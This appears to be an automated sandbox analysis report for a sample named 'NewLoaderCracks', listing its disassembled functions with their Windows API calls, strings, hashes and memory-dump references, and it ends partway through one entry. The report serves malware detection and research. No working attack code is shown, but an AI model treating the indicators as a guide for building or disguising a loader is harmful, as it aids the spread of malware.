Opcode ID: 966e69ea36d02f2a0d5720d263e5d8a968508d3b0c2bf025082309607b52847b
Instruction ID: 2a1fcd972a83731b63fa5faae844893471f2593be5bd7b14f32fcba212cc80eb
Opcode Fuzzy Hash: 966e69ea36d02f2a0d5720d263e5d8a968508d3b0c2bf025082309607b52847b
Instruction Fuzzy Hash: 7731CE71A08619AFDB21DF99DC859AEBFFCFB99314F140066E80497200DA704E44DBA0

Function 00547574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00547579

Part of subcall function 00543B3D: __EH_prolog.LIBCMT ref: 00543B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00547640

Part of subcall function 00547BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00547C04
Part of subcall function 00547BF5: GetLastError.KERNEL32 ref: 00547C4A
Part of subcall function 00547BF5: CloseHandle.KERNEL32(?), ref: 00547C59

Strings

SeRestorePrivilege, xrefs: 005475D3
SeSecurityPrivilege, xrefs: 005475BE

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: a3976c7c8b7fc128870a083112071a998c9d033212419460de18b8b24a497629
Instruction ID: 4eb3d45be89c91fe3f63c6cf38fb883424920e9fb1f735bf11120a5eff02e172
Opcode Fuzzy Hash: a3976c7c8b7fc128870a083112071a998c9d033212419460de18b8b24a497629
Instruction Fuzzy Hash: 6C31D771908209AEEF10EB68DC09BEE7F79FF59358F004055F845A7191D7704A48D761

Function 0055A430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

EndDialog.USER32(?,00000001), ref: 0055A4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0055A4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0055A4E2

Strings

ASKNEXTVOL, xrefs: 0055A448

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 43ac04f251b407abd470ee8e38be778b81c7b248e6fdc0e2d8c0fb7c6ef8ab52
Instruction ID: 543ed5dea570a9b77d1e895af06d99b893fdc5fb45853cd9b38a8fe4d227cb66
Opcode Fuzzy Hash: 43ac04f251b407abd470ee8e38be778b81c7b248e6fdc0e2d8c0fb7c6ef8ab52
Instruction Fuzzy Hash: 0111B432240200FFDE219FA89C5DF667FA9BB5B302F104612FA00960A1C7A19D09E727

Function 0054D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0054D22E
_strncpy.LIBCMT ref: 0054D278

Strings

$%s, xrefs: 0054D223
@%s, xrefs: 0054D218

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 8811afb5b41bdc16f6355d3258527a4e438b50b1eee9e3eb201cfdbcabe2384d
Instruction ID: 0296e321d7c895be70f797a5606fb9b0b196183a9fc9ef8d567aeb1381182751
Opcode Fuzzy Hash: 8811afb5b41bdc16f6355d3258527a4e438b50b1eee9e3eb201cfdbcabe2384d
Instruction Fuzzy Hash: 76218E72444209ABDB21DEA4DC46FEE7FB8BF04304F044522FE1596192E3B1EA59EB61

Function 0054B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0054B51E

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

_wcschr.LIBVCRUNTIME ref: 0054B53C
_wcschr.LIBVCRUNTIME ref: 0054B54C

Strings

%c:\, xrefs: 0054B514

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 329e72a341e1ace22e7762de56634a42783774ead6b39b3d65adf4269c368fe7
Instruction ID: 5fb10b9f02d3572753c70adafc7fd95749ba276055114fd75efe844f2f428cf6
Opcode Fuzzy Hash: 329e72a341e1ace22e7762de56634a42783774ead6b39b3d65adf4269c368fe7
Instruction Fuzzy Hash: 5001DB7350431266A7205B759C86DEBFFACFED5360B544816F845C7041FB20D550C6A1

Function 005506BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0054ABC5,00000008,?,00000000,?,0054CB88,?,00000000), ref: 005506F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0054ABC5,00000008,?,00000000,?,0054CB88,?,00000000), ref: 005506FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0054ABC5,00000008,?,00000000,?,0054CB88,?,00000000), ref: 0055070D

Strings

Thread pool initialization failed., xrefs: 00550725

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ad2d82161eeb4faa7c96eb50adcc13a274e4decd0225b9477990971690f496cf
Instruction ID: a36aa956013352129bb7e66ba2647884bfe7101a627fa406b8702981d69456be
Opcode Fuzzy Hash: ad2d82161eeb4faa7c96eb50adcc13a274e4decd0225b9477990971690f496cf
Instruction Fuzzy Hash: C111A0B1500709AFC3205F66D888AA7FFECFBA9755F10482EF5DA82240D6716988DB50

Function 0055D38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0055D3C9, 0055D3FD
RENAMEDLG, xrefs: 0055D3DE

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 0931bb75a85ad819bc4d8890d07e8210f4911e318369325f4ddcdcf09ae8e9a2
Instruction ID: ac2210cdbbdc867a749377965eaa53522021e81ce14499aa74f1be470481c1da
Opcode Fuzzy Hash: 0931bb75a85ad819bc4d8890d07e8210f4911e318369325f4ddcdcf09ae8e9a2
Instruction Fuzzy Hash: 9E018C73600245AFDB218F58EC04A663FA9F724386B015822FC05A2230C7B19C5CFBB1

Function 005691DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00569269
__alldvrm.LIBCMT ref: 0056946A
__alldvrm.LIBCMT ref: 0056948C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction ID: f16f78c98e372346b62b207af15a640f757c09f89c8daab15d56003651be8ee4
Opcode Fuzzy Hash: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction Fuzzy Hash: 06A15676A003869FEB25CF68C8917BEBFE9FF55310F18456EE8859B381C6389942C750

Function 0054A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,005480B7,?,?,?), ref: 0054A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,005480B7,?,?), ref: 0054A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,005480B7,?,?,?,?,?,?,?,?), ref: 0054A416
CloseHandle.KERNEL32(?,?,00000000,?,005480B7,?,?,?,?,?,?,?,?,?,?,?), ref: 0054A41D

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 33848b8cca70f05c2831c732929790cab65cf2cb113a3f5b348fe146d71a3744
Instruction ID: c976ecb311e887f4a00d5499a9f8bf1ff5c617a60a340f2dff87449cec4e8219
Opcode Fuzzy Hash: 33848b8cca70f05c2831c732929790cab65cf2cb113a3f5b348fe146d71a3744
Instruction Fuzzy Hash: 2741CE712883816AE721DF24DC59BEEBBE8AB91708F040D1DB5D093181E6649A4CEB13

Function 0056C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,005689AD,?,00000000,?,00000001,?,?,00000001,005689AD,?), ref: 0056C0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0056C16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,005667E2,?), ref: 0056C181
__freea.LIBCMT ref: 0056C18A

Part of subcall function 00568518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0056C13D,00000000,?,005667E2,?,00000008,?,005689AD,?,?,?), ref: 0056854A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 3268c67e2ae6b2984d059a400ce0100f95e75b46b178160cc884aa0b03f65a3f
Instruction ID: fb802fe7f7ee180ca629a53fd7bb3a4eece9829927e9e9135c615a6b270a0cdb
Opcode Fuzzy Hash: 3268c67e2ae6b2984d059a400ce0100f95e75b46b178160cc884aa0b03f65a3f
Instruction Fuzzy Hash: 1D31CB72A0021AABDB248F64DC45DBE7FA5FB45710F044269FC09DB251EB35CD94DBA0

Function 00559DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00559DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00559DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00559DDB
ReleaseDC.USER32(00000000,00000000), ref: 00559DE9

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 0e2f79ff26ccf06c8dce145eaf23bc6ae6199976fe547461c5d19123c05ca0f0
Instruction ID: 68a2257983781d76077b05671cd18e194b7fa529943beb3d7f2c8e44b610d545
Opcode Fuzzy Hash: 0e2f79ff26ccf06c8dce145eaf23bc6ae6199976fe547461c5d19123c05ca0f0
Instruction Fuzzy Hash: 49E0EC32985621A7D7201BA8AC0EB9B3F64FB2A713F054009FA05A61A0DB74440DEB90

Function 00562016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00562016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 0056201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00562020

Part of subcall function 0056310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0056311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00562035

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: 1daf62c2892e97e64444a5b11303095b6ff036ee973d93cdfca6606ecad8f032
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: BEC04C34109E43D41E213AB2610E1BD0F003CE37E5F9274C6E88017183DE16570AD432

Function 00559F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00559DF1: GetDC.USER32(00000000), ref: 00559DF5
Part of subcall function 00559DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00559E00
Part of subcall function 00559DF1: ReleaseDC.USER32(00000000,00000000), ref: 00559E0B

GetObjectW.GDI32(?,00000018,?), ref: 00559F8D

Part of subcall function 0055A1E5: GetDC.USER32(00000000), ref: 0055A1EE
Part of subcall function 0055A1E5: GetObjectW.GDI32(?,00000018,?), ref: 0055A21D
Part of subcall function 0055A1E5: ReleaseDC.USER32(00000000,?), ref: 0055A2B5

Strings

(, xrefs: 0055A0A3

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 2748d4e97e49b1fb4af2dccec62233788423a46a2f908df80eca951f42f1ae7d
Instruction ID: dab9b95d183b46fc6ca6375a9c85247edc9e18da88a94a3e5a4d3d498c31c2a0
Opcode Fuzzy Hash: 2748d4e97e49b1fb4af2dccec62233788423a46a2f908df80eca951f42f1ae7d
Instruction Fuzzy Hash: FB812575208604DFC714DF68D85892ABBE9FFD8711F00492EF98AD7260DB30AD09EB52

Function 00550E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00550FF1

Strings

%s: %s, xrefs: 00551000
%ls, xrefs: 00550E76, 00550E8C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: bd71f05304d79f8de3bb0a20d0df386016b7f0e3d0890c0683ee66381c8b010d
Instruction ID: ca5e64ea5751ea6cd9eee97f6d13cb23011eca52fa6390fdc0517fc932e8b7b5
Opcode Fuzzy Hash: bd71f05304d79f8de3bb0a20d0df386016b7f0e3d0890c0683ee66381c8b010d
Instruction Fuzzy Hash: 8451A43118CB41FAEA311A949C7BF367E69BB08B03F305D07BF8B648E1C69154986616

Function 0056A918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0056AA84

Part of subcall function 00568849: IsProcessorFeaturePresent.KERNEL32(00000017,00568838,00000050,00573958,?,0054CFE0,00000004,00580EE8,?,?,00568845,00000000,00000000,00000000,00000000,00000000), ref: 0056884B
Part of subcall function 00568849: GetCurrentProcess.KERNEL32(C0000417,00573958,00000050,00580EE8), ref: 0056886D
Part of subcall function 00568849: TerminateProcess.KERNEL32(00000000), ref: 00568874

Strings

., xrefs: 0056AC3B
*?, xrefs: 0056A95B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction ID: c7e0ca1179544e5ff92ad85a040b778562ab80d390c26a90eaa0d7ce26199c9d
Opcode Fuzzy Hash: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction Fuzzy Hash: DF518F71E0020AAFDF14DFA8C981AADBBB5FF98310F25816AE554E7341EA319E01CF51

Function 0054772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00547730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 005478CC

Part of subcall function 0054A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0054A27A,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A458
Part of subcall function 0054A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0054A27A,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A489

Strings

:, xrefs: 005477A1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: abab0c1df838b26785e4009ed5e7fb2b5efc900a83dbe27da81885f46e9ffbf9
